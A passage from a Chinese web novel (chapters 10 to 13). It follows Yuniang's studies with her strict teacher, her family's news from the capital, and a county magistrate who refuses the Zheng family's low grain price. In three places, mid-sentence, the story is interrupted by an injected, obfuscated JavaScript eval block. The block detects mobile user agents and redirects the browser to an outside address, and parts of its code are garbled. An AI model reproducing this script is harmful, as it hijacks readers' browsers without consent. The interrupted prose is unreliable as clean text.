于氏轻点她额头:“你呀,性子野得很,你先生常说,你若是男子,只怕这个年纪已经是个在外游荡不归家的浪荡子。” 渔娘冲于氏笑,于氏转而道:“爱远游也不是坏事。那些大户人家的小娘子,一辈子不过是从娘家院子走到夫家院子罢了。你爱远游,开阔眼界,等到终老时,总有些经历足以安慰。” 孙浔冷不丁地突然开口:“书读得怎么样了?” 渔娘被吓得往后一缩,什么书?哦,前朝的史书,她大概翻看了一遍吧。 孙浔看她一眼:“这两日你连书都没翻开过,后日为师要给你们讲史了,要是问到你答不上来……” 未尽之意渔娘已经听明白了,她愁眉苦脸冲于氏道:“师娘,您瞧我先生,就知道凶我。” 于氏笑道:“你好好读书,你先生就找不到由头凶你了。” 渔娘轻哼,她又不考科举,读一读就是了嘛。 孙浔瞧出她的想法,训斥道:“识字就会读书,只要识字你就能明白其中真意了吗?” 渔娘的脑袋又低了低,作出乖乖挨骂的姿态。 “你虽是女子,却是你家长女,往近了说,你爹娘若是有个什么,家里还需你做主。往远了说,以后你若是嫁人,成了一家主母,掌管一大家子,你若是只知道沉溺在自己的爱好里,如何能带领着家族兴盛?” “先生知道你是个聪明的,但你有两样不好,一是太过自傲,对谁都有好脸色,可你心底看得起的有几人,你自己知道。二是你太过懒散,遇事总觉得有退路。你须知,你爹你娘可从淮安退到南溪县,靠着上一辈留下的家族人脉保住你家。等到你爹娘老去后,人脉没了,你还能往哪儿退?去乡下种地?” 渔娘被训得头都抬不起来,孙浔还未说完。 “梅家在清溪村能被村民高看一眼,其中是因为什么你也清楚。等你家真落魄了,成了靠着几亩地养活一大家人的普通人家,你看到时候是不是所有人都对你有好脸色。” “文嘉还小,没到读书考科举的时候,你看看贺家,王家,他们家财也不薄,为何还如此督促家中子弟读书做官?” 渔娘可怜巴巴:“先生别骂我了,我回去肯定好好读书。” 于氏忙帮腔:“渔娘不是不懂事的孩子,你教她就教她吧,凶她做什么。” 孙浔轻哼一声,他就是看不惯这丫头混日子。 渔娘被先生劈头盖脸训了一顿,吓出了一身冷汗。 她知道自己上辈子穿越前只是个刚开始工作的普通地理老师,一直告诫自己不能看轻古人的智慧,但是她还是太过高看自己了,她是什么样的人,先生把她看得一清二楚。 “渔娘,咱们不是什么权倾天下的人物,若是想保护好家人,要想安稳过一辈子,你要聪明些,别被卷进去,否则就是粉身碎骨。” “先生,我知道了。” 孙浔看向窗外,渔娘也跟着他的目光看出去。她不知道,刚才先生说的那句话,到底是说给她听的,还是说给他自己听的。 10. 第 10 章 路上被先生训了一顿,感觉到先生真动气了,渔娘有点心肝儿颤。家去和爹娘用了午食,她就吩咐丫头抱着史书赶快去隔壁贺家。 贺家下人见梅家大娘子捧着书来,立刻就道:“我家二爷在前院书房。” 渔娘点点头,也不去内院了,径直去前院书房。 贺二郎的小厮贺升守在书房门外,看到有人过来了,立刻高声请安:“梅大娘子来了,小的给大娘子请安。” 老把戏了,多少年来都没什么长进。渔娘轻哼一声,加快脚步走到门前,猛地推开门,只见贺二郎在偷吃什么东西。 “拿出来吧,见者有份。” 贺二郎不吭声,嘴巴不停地动,嘴里嚼着什么东西。 渔娘眼尖,看到地上落的灰,一看便知:“没出息,以为你偷吃什么龙肝凤髓,不过就是个包蛋,也值得你藏?” 嘴里的食物全咽下去了,贺二郎喝了口茶水清清口,才说:“我娘一共就给了三个,我这不是怕你抢我的么。” “哼,分给你家的三十个包蛋,还是我花钱买来的,你分我一个怎么着?” 贺二郎哀叹:“三十个,我爹哄我,说张家没有存货,一共只买了十来个包蛋,叫我省着吃,下月再去给我买。” 渔娘扑哧笑了:“你也真好骗,近来张大娘子家又多养了几只鸭子,怎么会连几十个包蛋都拿不出来。贺叔这般说,肯定私下截留了,留着自己下酒吃。” 贺二郎恼羞成怒:“你懂什么,我这不是人傻好骗,我这是尊亲纯孝。” 渔娘拿起书拍在桌上:“行了,大孝子,劳烦你帮帮忙,我有点功课需要你协助。” 贺二郎瞥了眼熟悉的史书,烦躁地挠头:“你可别问我,我也读的半懂不懂的,后日开课,先生问起来,我也怕。” “我还能指望得上你?”渔娘双手抱胸,扬起头来:“我来找你不是叫你教我读书,我来找你是跟你合作的。” “读史粗读当故事书看,细读嘛那就细得没边了,结合时事分析,我猜就算先生抽查功课,也是用肯定也是拿其他朝代的史记和前朝史记对比,然后对我们进行提问。比如前朝崛起的具体原因,世家在其中扮演了什么角色,对后世有何影响等等。” “你怎么知道先生会问这个?” “呵,还用想吗?学历史不学这些那学什么?” 渔娘敲桌子:“赶紧的,把你以前学史的读书笔记拿出来,咱们分工合作,我模仿先生写提问的纲领,你这几日读史比我多,你来作答。距后日开课还有一天半,咱们先大略把上册第一编的纲领整理出来,先把功课应付过去。” “你又偷工减料,小心先生骂你。”贺二郎口是心非,一边去书架上拿自己以前的读书笔记,嘴上还要说渔娘一句。 渔娘不雅地翻了个白眼:“临时抱佛脚,总比什么都不努力来得强。我这样做,难道你以为先生不知道?” 渔娘不是那起子死读书的人,以前跟先生读四书五经时她也是这般学习,读懂书中的道理就是了,不用像贺二郎他们那般全文背下来,毕竟她又不考科举,不用应付经义考试。 渔娘催他:“你快着点吧,先生教我读史是为了让我多懂些道理,你学史是为了以后写策论时引经据典多些可说的。我给你列纲领,那是便宜了你,贺文嘉呀,我看你高低得给我磕一个。” “我呸,少给自己脸上贴金。”贺二郎也不是死脑筋的人,嘴上吐槽归吐槽,跟渔娘一起读书应付先生,老道得很。 两人一个翻书写提纲,一个往提纲里填了个大概,忙活累了就叫厨房送点心茶水来,坐下歇息歇息,再说说各自的见解。 “根据世家族谱,排名前五,甚至前十的世家大族都不在一个地方。” “你说的不是废话吗?一个地方的资源是有限的,养不出两个大世家。” “武勋贵族,豪门世家,都是一北一南,看起来,好像北方的武勋贵族维持的更短,南方的豪门世家支撑得更长久,你看江浙、江东、江北那几家,比王朝活得还久。” “北方靠边境,王朝更迭一回就会有新的武德世家兴起,自然换得快。至于南方豪门世家,占着良田,又做着生意,又跟其他世家联姻,就算偶有站错队,或是族里无贤能之人,稍微没落几十年,也能再兴起。” 但是,以后就未必了。 如今在位的皇帝那可是个狠人,对世家,特别是他起事时没有支持他的世家,那是极尽打压,赶尽杀绝。曾经支持他对手的那三个大世家,新朝建立之前就已满门被灭。 至于他起事时支持他的世家,其中最大一家是襄樊陈氏,听说打仗时的大半粮草都是陈氏家族筹措的,新朝建立后只封了一个侯爵,跟那几家动辄封国公的武勋贵族,根本没得比。 渔娘零星还记得些封建王朝的发展脉络,科举兴起,打破门阀世家贵族的垄断地位,以后站在皇帝身边的,是以文脉见长的科举世家。 渔娘鼓励贺二郎:“你可要努力呀,等你哥考上进士做官,你也考上进士做官,你儿孙曾孙再努力个几代人,诗书传家,你家以后一定不会比如今世家的领头羊郑家差。” “我哥努力当官就行了,我嘛,就适当努力,撑得起家业就不差了。” 贺宁远听管家说两个孩子读书认真,没事儿过来瞧瞧,背着手站在门外,本来想看看儿子读书是否真的认真,在门外听到两人这样一番话,刚想夸渔娘聪慧,话还没出口呢,就想骂儿子了。 贺宁远忍了又忍,算了,也是十四岁的人了,当着姑娘家的面揍他,到底伤孩子脸面。 贺宁远憋着气走了,小厮贺升守在门口都不敢吭声。 贺宁远去后院,跟夫人说:“人跟人真是不一样,咱们二郎打小跟渔娘一起读书,二郎被我训着,读书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086108|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还比渔娘勤勉些,怎么渔娘能对世家说出一番道理来,咱们家二郎却只知道偷懒?真是气死老爷我了。” 阮氏笑道:“渔娘那孩子灵得很,打小孙先生都说呢,渔娘偶然冒出一句话来,当世大儒也说不出的。这几年渔娘年纪大了,被它爹娘和师娘教的收敛些,看着倒是没有小时候那般灵性了。” 贺宁远气道:“那也比咱们二郎聪明。” 阮氏劝道:“别气了,孩子还小,前头又有他大哥顶着,稚嫩爱玩些也正常。” 贺宁远又深深叹气,以后的事谁知道呢? 渔娘和贺二郎认认真真读了一天半的书,等到先生开课那一日,两人去先生书房时,心里总算有点谱了。 他们两人到时王苍已经到了,贺二郎进门,大大咧咧地拍王苍肩膀:“小三元就是努力上进,听先生说,你把史书读了好几遍了?” 先生还没来,王苍正闭眼默书,被贺二郎打扰,他睁开眼,先看了眼刚坐下的渔娘,扭头对贺二郎道:“刚才先生从门外经过,先生说,今日有份策论需要我们答,写完才能家去。” “什么,写策论?” 渔娘不可置信,她盯着王苍,又指了指自己,这个我们包括她吗? 王苍笑容和煦:“也包括渔娘。” 从去年开始,王苍和贺文嘉两人备考开始,孙浔教学的重点就放在他们两人身上,渔娘就成了放羊的,默写考背贴经、经义之类从不带上她,偶尔写策论就更不用她了,她就是个凑数的。 “完了完了,先生真生气了。”渔娘紧张起来。 贺文嘉不解:“你什么时候惹先生生气了?” 王苍也很想知道。 渔娘思考了会儿,才说了一句:“铁杵不是一日磨成针的。” 贺文嘉和王苍顿时都明白了,先生心里的气定然积攒了许久,今日一起发作出来了。 渔娘这一年多四书五经都看得少了,唯一还坚持着的只有每日早晨起来写的两张字,今日要考策论,渔娘觉得自己今天要完了。 三张书案,王苍中间,渔娘和贺文嘉一左一右。 渔娘挪动身子,往王苍身边挪了挪,她捧着笑脸:“下午若是考试,我若是破不了题,可能帮帮我?” 王苍不说话,一本正经的模样显得十分铁面无私。 渔娘可怜兮兮:“小三元王苍王大秀才,帮帮吧。” 王苍终于忍不住,笑了起来,摇了摇头:“抱歉,我帮不了你。” 贺文嘉看她笑话:“书房就这么大点地方,咱们考试,先生还在屋里坐着,你怎么抄王苍的?” “咳咳!” 渔娘听到门外阿青的咳嗽声,用眼神示意贺文嘉赶紧闭嘴。 孙浔进门,略看了眼渔娘,渔娘吓得赶紧坐好。 “把书拿出来,今日讲史,前朝皇权之崛起。” “是。” 11. 第 11 章 每个学生都有各自应对考试的办法,为了得到高分,其中一条规则得到了所有考生的践行,那就是尽其所能把答卷填满。 会写的多写点,不会写的也要写个解,用这个字卑微地告诉老师:我菜归菜,但是尽力了! 潇洒地写完最后一个字,摊开纸张等墨迹晾干的时候,渔娘往左边瞟了几眼,王苍和贺文嘉还在写。 “答好了?” 渔娘起身,双手递上自己的答卷:“先生,我今日只想到这些。” 孙浔只看了个开头,皱眉道:“我看你不止今日想不到,你是彻底忘光了,这句话出自哪里都不知?” 渔娘默默低下头,她确实不记得了,只大概知道应是出自《诗经》,她正准备先糊弄过去,傍晚回家翻书。 “王苍,’何人不将’此句出自哪里?” “回先生,出自《何草不黄》篇。” 何草不黄?何日不行?何人不将,经营四方? 这篇是《小雅》最后一篇,讲的是周王室将亡,天子视人命为草芥,征夫苦于征役的哀怨诗。 渔娘想起来了。 孙浔看她一眼,把答卷交给她:“重新写一篇交上来。” “是。” 接过胡乱写的答卷,渔娘重新振奋精神写议论文,写清楚题目的出处,再写自己的论点,摆出一二三论据,再总结这句话对如今的启示,略微给出些建议,再展望一下天下百姓在当今皇上领导下的美好未来。 渔娘下笔如有神,重新写一篇,只比贺文嘉迟了两刻钟就把第二篇答卷交上去了。 贺文嘉正在等老师批阅呢,见她交答卷,扭头跟王苍对视了一眼,别的不提,渔娘写策论的速度比他们两人都强。 渔娘轻哼,以后如何尚且不知道,现在嘛,写这种策论她一个顶两个王苍贺文嘉这样的秀才。 孙浔批阅完三人的答卷,孙浔交代三人:“回去或是看书,或是跟人请教,明儿我会问你们前朝征役制度和今朝的异同。” “是。” 三人正要退下,孙浔叫住渔娘:“我知你今年对各地舆图风俗有兴趣,四书五经也不可放下,该温故而知新。” “学生记住了。” 孙浔满意地点点头:“去吧。” 渔娘走出大门,心里松了口气,看到王苍和贺文嘉都在。 “你们怎么还不家去?时辰不早了。” 贺文嘉靠着墙双手抱胸,斜了她一眼:“没良心的,我这不是等你嘛。” 王苍微微笑道:“我和文嘉院试已经考完了,先生腾出空来,只怕要狠抓你学业,你若是需要我的笔记,只管说。” 渔娘捂住胸口,有些害怕:“不至于吧。” 贺文嘉一脸看好戏的神情:“嘿嘿,至不至于,你等两天就知道了。” 渔娘只觉得委屈:“我又不科举做官。” “你是不科举做官,可你以后出去跟人交游,跟人论起诗文来,叫人发现你学业不精,还是先生的弟子,先生面子上不好看嘛。” “呵,在南溪县这个地方,我跟谁论诗文去?跟你们俩?还是去县学跟那些童生秀才论?” 欠下的读书债太多了,渔娘不想还,她咬牙一跺脚:“先生只说叫我温故知新,没说要给我补课,你们俩别吓我。” 王苍笑道:“不管如何,多读书总是有好处的,你若需要都可以找我。时辰不早了,我就先家去了。” “好嘞,回见。”贺文嘉摆摆手。 王苍坐马车走了,贺文嘉和渔娘两人走路家去。 “王苍那小子考上小三元后真是不一样了,如今行事越发老练了,以前总是冷着一张脸读书,如今对咱们都有说有笑了,还主动提出借书给你,啧啧。” “少用小人之心揣测人家,人家有同窗之谊,你该赞美人家才是。”渔娘小声提醒他:“你不想当官,他可是想当官的,凭他的本事肯定当得上,咱们跟他维持好关系,到时候真碰上事儿了,也能求他帮帮忙。” “哟,梅羡鱼,这一年你读书偷懒,人情世故倒是熟练了不少嘛。” “笑话谁呢?这点道理我还能不懂?” 两人边走边聊,路上碰到街坊,还要问好一二,到家门口了,两人分开各回各家。 渔娘去主院请安,爹娘都不在家,只有二郎在屋里玩木马,伺候的小厮端着温水喂他,看模样午觉才刚睡醒一会儿。 渔娘摸摸弟弟的脑袋,扭头问屋里的大丫头:“明秋,我爹娘去哪儿了?” “回小姐,老爷和太太去城外驿站会友去了,未时才出门。” “去驿站?会友怎么会去驿站?怎么不请到家里来?” “奴婢不知,听门房那边说,来的远客姓林,路过咱们南溪县,要往嘉定州去,或是夫人那边的亲戚?” 渔娘也猜不准,只交代明秋:“爹娘回来了,叫人去西院叫我。” “是。” 渔娘拉起弟弟:“走,姐姐带你去园子里走走。” 梅二郎不愿意动弹,双手抱着木马:“不去。” 渔娘才不管他乐不乐意,直接说:“今儿你要不跟我去园子里逛两圈,晚食按照你原本的饭量减一半,你自己选吧。” “爹……” “爹答应也没用,我说不给就是不给。”渔娘瞪他。 梅二郎想了想,这才从木马上下来,主动牵着姐姐的手去西跨院走路。 夕阳西下,院子里吹起了微风,墙角种的那棵银杏树绿意盎然,还没变黄。 “再过一两月银杏就要黄了,金黄的叶子落了一地,到时候姐姐带你来树下捡叶子玩儿。” 梅二郎牵着姐姐的手慢吞吞走着,绕着院子第三次走到银杏树下,他不想走了,一屁股坐下:“姐姐说,走两次的。” “你这个臭小子,小脑袋瓜里除了吃就是跟你姐姐我作对了是不是?” 见他真不想走了,渔娘把他拉起来:“不走就不走了吧,跟姐姐去书楼玩儿。” 书楼共三层,渔娘带着弟弟上二楼,二楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14094135|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木地板上铺着厚实的羊绒毯子,把二郎放毯子上,又给他一本她亲手画的云南府美食绘本。 “小心着点翻,弄坏了可就没了。” “哦。” 梅二郎一屁股坐下,旁边伺候的丫头忙拿来柔软的干帕子,给小郎君擦汗,又给后背垫了一张,以免息汗小郎君着凉。 渔娘坐在自己的圈椅上,盯着挂在对面架子上的舆图瞧。舆图用铅笔大概描出了马氏王朝两京一十三省大概的轮廓,其中巴蜀和云南府的地图画的较为详细,所有州府和县城、河流都标记上了。 嘉定州,在叙州府西北方向,走水路是最顺畅的,她跟着爹娘去过一回,跟先生和师娘访友去过两回,峨眉山就在嘉定州呢。 “阿青,给我把《川北食货志》找出来我瞧瞧。” 阿青连忙去书架上把主子要的书找出来。 姐弟俩,一个坐羊绒毯上玩,一个坐在窗边看书,梅长湖和林氏过来,就笑了。 梅长湖抱起儿子:“你们姐弟怎么都不说话?” “爹,娘,你们回来了。” 渔娘放下书,拉娘亲过来坐。 渔娘亲手给爹娘倒茶:“听说你们下午去驿站访友去了,还是个姓林的,怎么不请到家里来?” 林氏端起茶喝了一口,笑道:“来的人是我娘家族亲,他家去嘉定州做生意,在南溪县要卸一批货,货卸完就要走,没空闲来家里,我和你爹就去驿站见见人。” 林氏拿出一封信给女儿看:“从京城带来的信,你大堂舅上月升任兵部五品郎中了。” 渔娘高兴道:“好事啊,二堂舅在外领兵,大堂舅又升任兵部郎中,舅舅家这是要起来了。” 林氏也很高兴:“自从你外祖父没了之后,林家在武将家族中一直说不上话,如今总算出个五品官了。” 渔娘的外祖父是前朝武将,他去世时时间很巧,人没了没几日,两个儿子请了一月丧假回老家送葬,这时原本还在浙江一带的马家军突然走海路打进北京城,等两位舅舅从老家赶回京城时,已经改朝换代了。 当时京城打下来了,但各地还未平定,林家两兄弟毫不犹豫转投新帝,从小兵做起,两兄弟靠着军功,十多年了,这才一步一步爬上来。 林氏为娘家两个哥哥高兴,更为自家高兴。虽然相隔遥远,娘家越好,以后也能对她的一双儿女帮扶一二。 渔娘看完信后,问她爹:“要不,咱们问问大舅舅,那件事到底是真是假?” 梅长湖摇摇头:“不好问,你大舅舅才升兵部郎中,送信路上若是出什么岔子被人知道,你大舅舅的前途可就毁了。” 当今皇上靠领兵打仗起家,入住京城后,对京城官员家眷的控制力不是前朝皇帝能比的。 梅长湖笑道:“好好读你的书吧,五品虽然不是什么大官,你舅舅家到底慢慢起来了,咱们家多个庇护,就算有什么事,也落不到咱们身上。” 渔娘看了眼弟弟,好吧,弟弟长大还早,如今还不是他们家着急的时候。 12. 第 12 章 家里的事情不用渔娘操心,外头的事情有她爹顶着,她一个小娘子,只需操心每日怎么应付功课。 渔娘悲伤地发现,好像叫王苍说中了,先生如今腾出空手来,真要狠抓她的学业,之前落下的功课,都要一一补上。 从这天起,渔娘过上了水深火热的日子。已经放下的四书五经要重新拿起来,先生用提问和写策论的方式给她查缺补漏,搞得渔娘每日不是在背书就是在写策论。 这还不算完,应付完先生那儿的功课,稍微有点空闲时,还有跟着师娘熏陶琴棋书画。师娘弹琴时,若不是不停地喝茶,她感觉自己脑袋一歪,就要靠着矮榻上的绣花软枕睡过去。 渔娘忙得恨不得住在先生家,连来回家里的时间都省下了。 渔娘简直想叫老天爷救命,她一年多没有这般忙了,她都忘了之前读书是这般辛苦。 她还未完成的云南府舆图彻底放下了,她感觉过年之前她都不会有空闲看她心爱的各类杂书。 放羊这么久,一下被先生抽着鞭子狂奔,渔娘有些受不了,跑去找爹娘求情。 “初六淼娘过礼,我礼到人不到,那天我写整整了三篇策论!重阳节本该登高望远,你们两个带着二郎出门玩儿去,先生和师娘也去了,只留我一个人在家读书,天天写字,日日读书,贺二郎考秀才时那两个月都没我用功。” 渔娘越说越觉得自己委屈:“以前也不是我偷懒,先生忙着王苍和贺文嘉考秀才叫我自己读书的,怎么如今就不认了,还叫我重新读一遍。” “你之前读书不认真,被你先生抓到了吧。” “我认真读了呀。” 梅长湖张口又想说,被林氏阻止,林氏安慰女儿:“读书是好事,你也大了,别这样跟孩子似的闹,左右你也读不了几年了。” 渔娘凑到林氏身边撒娇:“我又没说不读,我就想每月休息几日,娘,您帮我去找先生说说。” 梅长湖斜了女儿一眼:“我记得你先生说的是一旬休息一日,难道王苍和贺二郎能休息,你不能?” 渔娘轻哼,还不是她的功课多,休息日也要用来做功课。 “别哼哼了,你要想休息,就自己努力些,别把功课留到休息日做。” 渔娘简直想哭,是她想把功课留到休息日吗? 渔娘被她爹的暴走。 女儿走后,林氏犹豫道:“老爷,要不你去跟师兄所说?” “要说你去说,我才不去。”梅长湖往旁边缩。 林氏掐他一把,咬着牙道:“别以为我不知道,你是怕师兄问你读了哪些书吧。” 梅长湖哎呀喊疼,两步跑开,色厉内荏:“你这个泼妇,好的不学,来了这儿后跟那些妇人学了些什么?” 想他梅长湖都是当爹的人了,偶尔还要被师兄问读书,他也要脸的好吧。 梅长湖借故跑了,半句不提去找师兄的事,林氏冷哼:“当爹的读书不用功,还有脸训闺女。” 林氏到底心疼女儿,叫人收拾了一篓柚子,吩咐人提着去孙家。 “师嫂您可不知道,渔娘这几日比那些去考状元的还忙,昨儿半夜三更屋里才熄灯,今儿一早又起来背书,用早食时,我看她眼睛下黑了一块,可见是熬夜熬的。” 于氏听林氏这么说,就笑道:“你心疼了?” 心疼林氏肯定是心疼,这话不好直接讲,她只说:“什么事,都讲究个循序渐进嘛,渔娘这几日读书读的整个人都蔫了。” 于氏道:“这几日渔娘又温习四书五经,又要跟着读史才这般忙碌,她先生故意要逼一逼她,叫她别把学到的东西都给扔了,如今渔娘自己肯学了,她先生不会逼的如此紧了。” 听到这儿林氏就放心了,她笑道:“去年到今年,渔娘一直看些杂书,也怪我没有管好她。” “哪里怪的着你,不过渔娘爱玩,久未这般努力,最近肯定有些不适应。你回去跟渔娘讲,十一月她先生要去一趟保宁府,她若是学得好,能叫她先生满意,到时候定会带她去。” 林氏也笑了起来:“若是说要带她出门,渔娘可半点抱怨都没有了。师兄十一月去保宁府可有何要事?” “你师兄当年一位姓张的同窗在保宁府做官,前些年患了牙病,今年越发疼痛难忍了,加上年纪不小了,吏部那边答应他今年致仕,我们夫妻去保宁府送别。” “呀,和师兄曾经当过同窗,哪儿的人呐?” “祖籍松江府,这次要回去了,以后只怕难见了。”于氏感叹道。 林氏从师嫂那儿得了准话,回去把闺女叫来。 渔娘在书楼里看书写功课,被林氏叫来时唉声叹气,听到先生和师娘要去保宁府,她高兴地捏着拳头跺脚:“阿娘说的可是真的,别骗我。” 于氏没好气笑道:“真的,出门的日子都订好了,哪能不真?现在教你读书可有怨念?” 渔娘忙摇摇头:“瞧娘说的,哪儿来的怨念呐,我可最爱读书了。” 以前渔娘也是跟着王苍和贺二郎的进度一起读书做功课,这回她觉得难适应,主要是懒散太久了,又没个读书的动力。 这下,读书的动力不是来了么。 于氏作势要打这个胡言乱语的,渔娘嘿嘿笑着跑了。 回到书楼里,渔娘无心看书,把四川的舆图拿出来,手指从舆图右下方往上挪,从南溪县出发,走水路,经过泸州、巴县、合州、顺庆府、篷州,再北上就是保宁府了。 保宁府张家渔娘知道,六年前张家老爷子到保宁府任通判,渔娘跟着先生师娘去过一回。这次若是再去,她定要写一册游记出来。 “阿青,磨墨,我要写字。” 见主子重新振作起来,阿青连忙上前磨墨,阿朱也赶紧上前伺候,给主子铺纸。 有了盼头,日子也就不难熬了,渔娘老老实实跟着先生读书,贺二郎去梅府找过渔娘几回,回去后也埋头苦读,他喜欢的游记和话本,放在书架上都落灰了,都没有拿出来看一回。 贺宁远这个当爹的当然高兴了,自家这个懒驴能自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105508|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上进,那可比多赚银子还高兴。 这日傍晚从铺子上家去,他亲自去点心铺子买了几样秋日出的新口味点心,特地买了两包,跑去前头梅家书铺,刚好梅长湖刚从铺子出来正要家去。 贺宁远分给梅长湖一包:“点心铺子刚出了柿柿如意,今年刚摘下的新柿子做的,意头好,买了两包,分给你一包,咱们两家都如意。” 梅长湖也没推辞,笑着接过:“心情这般好,难道是因为二郎这几日读书用功?” 贺宁远哈哈一笑,拍着梅长湖的肩道:“还是你明白我。” “我家二郎从小就喜欢跟你家渔娘比较,但凡渔娘背下的书,他若是不会,熬夜也要背下来,生怕叫渔娘看扁了。每回啊,只要你家渔娘一用功,我家二郎必然不敢偷奸耍滑。” 梅长湖笑着摇了摇头:“不说这个,这几日你可去你家地里看了?粮食收上来了,佃户要送粮食来了,今年的新粮也要卖了。” “我家的地不多,每年佃户交上来的粮食只够一大家子消耗罢了,我也没去看,就算今年收成好,我家比往年也多收不了多少粮食。” 当年梅家和王家最先到南溪县,梅家从清溪村地主手里买了一大片良田。王家买了白水村的良田。等到贺家来时,离南溪县较近的两个村已经没有好地了,贺家就在距离稍远的南山村和北山村买了些地赁给人种。 贺宁远问道:“今年粮价如何?” “南溪县还未有大粮商进来,本县的几家粮铺我去问过了,收的价比去岁便宜两三文钱。酒厂那边不需粮食有多好,给的价比粮铺还要低上两三文钱。” “那也不赖,就算比往年便宜几文钱,一亩地也能比去年多挣一二十钱,用来换油盐也好,或是买布做衣,家里也能宽裕些。” 梅长湖也这样认为,前两日他叫管家回了一趟清溪村,管家回来说,村里人对这个价格也是满意的。 本县的粮铺、酒厂,还有做吃食买卖的饭庄、客栈等,都有大量买粮的需要,他们都是本地人,压价不会压得太厉害,外地来的有钱有势的大粮商,那就不一样了。 地里的粮食收割晒干入库了,县衙收税粮的粮库忙碌起来,罗县令这几日都在粮库监督忙碌。 “大人,夫人身边的刘妈妈来了。” “送饭来的?本官这会儿没空,叫人把饭放桌上,饿了我自会去吃。”罗县令盯着账房算已收的税粮数额。 “大人,刘妈妈不是来送饭食的,家里来了贵客,请您回去。” 罗县令漫不经心:“来谁了?” 小厮忙凑上去嘀嘀咕咕了几句,罗县令惊得眼睛都瞪大了:“你说什么?郑家来人了?” 天下姓郑的人多了去了,在当今官场之上,没提其他,只说是郑家,大概率说的是郑贵妃的娘家,二皇子的舅舅家。 郑家的管家拿着帖子来南溪县拜访一个小小的县令做什么? 这些惹不起的大家族都是无利不起早的,罗县令快步家去,忧心忡忡,心里有种不好的预感。 13. 第 13 章 给罗县递拜帖的郑家人是郑家的二管家,东拉西扯两盏茶的功夫,郑二管家才说出来意。 “罗县令是知道的,北方各边卫百姓不少,那些地方贫瘠,养些牛羊还使得,也能勉强种些粗粮,一年到头要想吃点细粮,那可难着呢。” “我们郑家原是临江府人,家里做些小生意活命。如今郑家跟原来时又不同了,上面主子吩咐,不能与民争利,要多做些与民有益的事,方可对得起当今的看重。” 郑二管家对着京城的方向拱了拱手,这才笑着对罗县令道:“今年南方各地都丰收了,我们家想在各地采买些粮食,送到肃州卫、凉州卫、宁夏卫等地,还请罗县令多多帮扶。” 罗县令忙道:“丰年农家丰足,本有卖粮的想法,郑二管家既能解决南溪县百姓卖粮之困,又能解决边卫买粮之需,这样的好事,本官……能帮得上忙的地方,本官自然竭力相帮。” 说完漂亮话,罗县令试探着问:“只是,这价钱……” “大米分上中下三等,还分南北,平年里,南边米价一斗四五十文钱,叙州府水汽丰沛,地处西南,自然是按照南方价算,今年算是大丰年,收稻谷的价嘛,中等稻谷二十文一斗的价钱,定然不负百姓们辛劳一年。罗县令觉得如何?” 郑二管家绕了好大一圈报出二十文的价钱,罗县令听后心里只觉一股怒火起,罗县令忍了又忍,端着一杯茶一口一口地喝完了,这才缓缓道:“换作往年,二十文的价钱,别说买一斗稻谷,怕是半斗都买不着。就说咱们县里的粮铺吧,今年收新稻的价钱,最少也是三十文一斗。” “哦,这是贴着钱做买卖?”郑二管家一拍脑袋,故作惊讶:“怪我没想明白,本地粮铺做的是坐地生意,没有运货雇小厮船只镖局等花费,三十文收稻谷,五十文卖白米,也可算得过账来。” 郑二管家吐起苦水来:“大管家叫我等去各地收粮往边卫送,我们这些管事都觉得不妥,辛苦南北跑一趟,忙活一两月,一个子儿没赚着,倒是沿途托出许多人情去,何苦来哉。我们大管家说呀,咱们郑家跟别家不一样,做的就是为国为民的买卖,赚不赚钱倒是其次。” 罗县令到底是个底层起来的寒门子弟,终是听不过去这等不要脸之言,语气微冷:“听二管家这般说,南溪县的稻米运到边卫去卖,可也是二十文?” 二管家笑容微收,身体往椅背上一靠,不轻不重道:“我等只是听命办事,至于怎么卖,自然是上头有人做主。左不过,不会叫罗县令难做就是了。” 什么叫不叫他难做,前言不搭后语,虽然是郑家人,不过一个外八路的奴才就敢在他这个县令面前威胁他不成? 罗县令端茶送客:“郑二管家平常做生意,想收粮食去县里收便是,若是遇到什么拦路劫匪,只要在南溪县境内,本官自然会为你做主,这是本官的职责所在。” 话说到这个份上,郑二管家也冷了脸,起身时候撂下一句:“罗县令科考二十余年才得了个官位,想必十分不容易吧。” 罗县令气得站起来,站得顶天立地:“读书虽难,但为官更不易。皇上扶持我等寒门子弟,我寒门子弟自然会以诚报之。” 罗县令虽然只是个不起眼的末流县令,但他是寒门,皇上支持寒门,寒门就是比郑家这个二流世家硬气。 郑二管家冷了脸:“好好好,小的祝罗县令以后平步青云,官场得意。” 郑二管家甩袖子走人。 罗县令回身,右手撑着桌子竟然有些脱力。 “老爷,您……” 罗县令打断管家,立刻道:“你去叫县丞来,就说本官有要事找他。” 